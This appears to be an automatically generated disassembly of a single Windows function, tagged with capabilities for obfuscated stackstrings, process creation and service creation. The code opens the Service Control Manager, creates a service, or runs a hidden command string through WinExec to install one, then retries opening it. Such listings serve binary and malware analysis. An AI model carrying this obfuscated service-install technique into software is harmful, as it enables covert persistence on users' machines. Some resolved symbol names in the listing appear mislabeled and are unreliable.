Function at 0x140002f48
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create service

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x288]
sub rsp, 0x350
mov qword [rbp + 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rsi, rdx
mov r15, rcx
xor r12d, r12d
mov r14d, r12d
xor ebx, ebx
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
mov qword [rbp + 0x18], rax
or r13d, 0xffffffff
test rax, rax
je 0x1400032db
mov rdx, rsi
lea rcx, [rbp + 0x2a8]
call fcn.140005fd0
nop
mov r8, rsi
lea rcx, [rbp + 0x10]
call fcn.140005f2c
nop
mov r8d, 0x10000000
mov rdx, qword [rbp + 0x2a8]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 0x20], rax
test rax, rax
jne 0x14000328f
mov ebx, 0x208
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.14011d670
mov r9, r15
lea r8, [0x140424340]
mov edx, ebx
lea rcx, [rbp + 0x40]
call fcn.14000d244
call fcn.140012fc0
test al, al
jne 0x14000308a
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x58], r12
lea rax, [0x14069df38]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x48], rax
mov r8, qword [rbp + 0x10]
mov qword [rsp + 0x40], r8
lea rax, [rbp + 0x40]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 1
mov r9d, 0x10000000
mov rdx, qword [rbp + 0x2a8]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov qword [rbp + 0x20], rax
jmp 0x140003284
call fcn.14000b6b4
mov rcx, rax
test rax, rax
jne 0x1400030a2
mov ecx, 0x80004005
call fcn.14000b9ec
int3
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rbp + 0x30], rax
mov dword [rbp - 0x24], 0x790061
mov r10d, reloc.WS2_32.dll_WSAStartup
mov dword [rbp - 0x7c], 0x730025
mov dword [rbp - 0x6e], 0x3d0074
mov dword [rbp - 0x48], 0x740020
lea r12d, [r10 - 0x12]
mov dword [rsp + 0x7c], 0x740061
mov dword [rbp - 0x1a], 0x3d0065
mov dword [rbp - 0x44], 0x700079
mov dword [rbp - 0x10], 0x200022
lea r13d, [r10 - 0x36]
mov word [rbp - 0x12], r10w
mov dword [rbp - 0x4e], 0x61006d
mov dword [rbp - 0x32], 0x20006c
mov dword [rbp - 0x1e], 0x6d0061
mov dword [rbp - 0xc], 0x690062
mov dword [rbp - 0x74], 0x610074
mov dword [rbp + 0xa], Ordinal_35
mov dword [rbp - 0x40], 0x3d0065
lea r14d, [r10 - 1]
mov dword [rbp - 0x5e], 0x720072
mov dword [rbp + 4], 0x250022
mov dword [rbp - 0x2c], 0x730069
mov dword [rbp - 0x52], 0x72006f
mov dword [rbp - 0x56], 0x6e003d
lea r10d, [r12 + 0xb]
mov dword [rsp + 0x78], 0x650072
mov dword [rbp - 0x80], 0x200065
mov dword [rbp - 0x36], 0x65006e
mov dword [rsp + 0x70], 0x630073
mov dword [rbp - 0x62], 0x650020
mov dword [rbp - 0x5a], 0x72006f
mov dword [rbp - 0x3c], 0x65006b
mov dword [rsp + 0x74], 0x630020
mov dword [rbp - 8], 0x70006e
mov dword [rbp - 2], 0x680074
lea eax, [r12 + 3]
mov word [rbp - 0x2e], ax
mov dword [rbp - 0x16], 0x250022
mov dword [rbp - 0x66], 0x6f0074
mov dword [rbp - 0x6a], 0x750061
mov dword [rbp - 0x28], 0x6c0070
mov word [rbp - 0x70], r14w
lea r8d, [r12 + 0x12]
mov word [rbp + 8], r8w
mov dword [rbp - 0x78], 0x730020
lea eax, [r12 + 0xd]
mov word [rbp - 4], r12w
mov word [rbp - 0x20], ax
mov word [rbp - 0x4a], r10w
mov word [rbp + 2], r13w
mov word [rbp - 0x38], r14w
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x10]
mov r8, qword [rbp + 0x2a8]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x30]
call fcn.14000870c
xor r12d, r12d
mov r14d, r12d
mov rbx, qword [rbp + 0x30]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x10000000
mov rdx, qword [rbp + 0x2a8]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 0x20], rax
test rax, rax
jne 0x140003264
inc r14d
cmp r14d, 5
jl 0x140003226
lea rdx, [rbx - 0x18]
or r13d, 0xffffffff
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
add eax, r13d
test eax, eax
jg 0x140003284
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r14d, r12d
cmp qword [rbp + 0x20], r12
setne r14b
mov rdx, qword [rbp + 0x10]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
add eax, r13d
test eax, eax
jg 0x1400032b0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp + 0x2a8]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
add eax, r13d
test eax, eax
jg 0x1400032d3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rdi, qword [rbp + 0x18]
mov rbx, qword [rbp + 0x20]
test rbx, rbx
je 0x1400032e9
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rdi, rdi
je 0x1400032f8
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov ecx, r13d
lock xadd dword [rdx + 0x10], ecx
add ecx, r13d
test ecx, ecx
jg 0x140003318
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov eax, r14d
mov rbx, qword [rsp + 0x390]
add rsp, 0x350
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret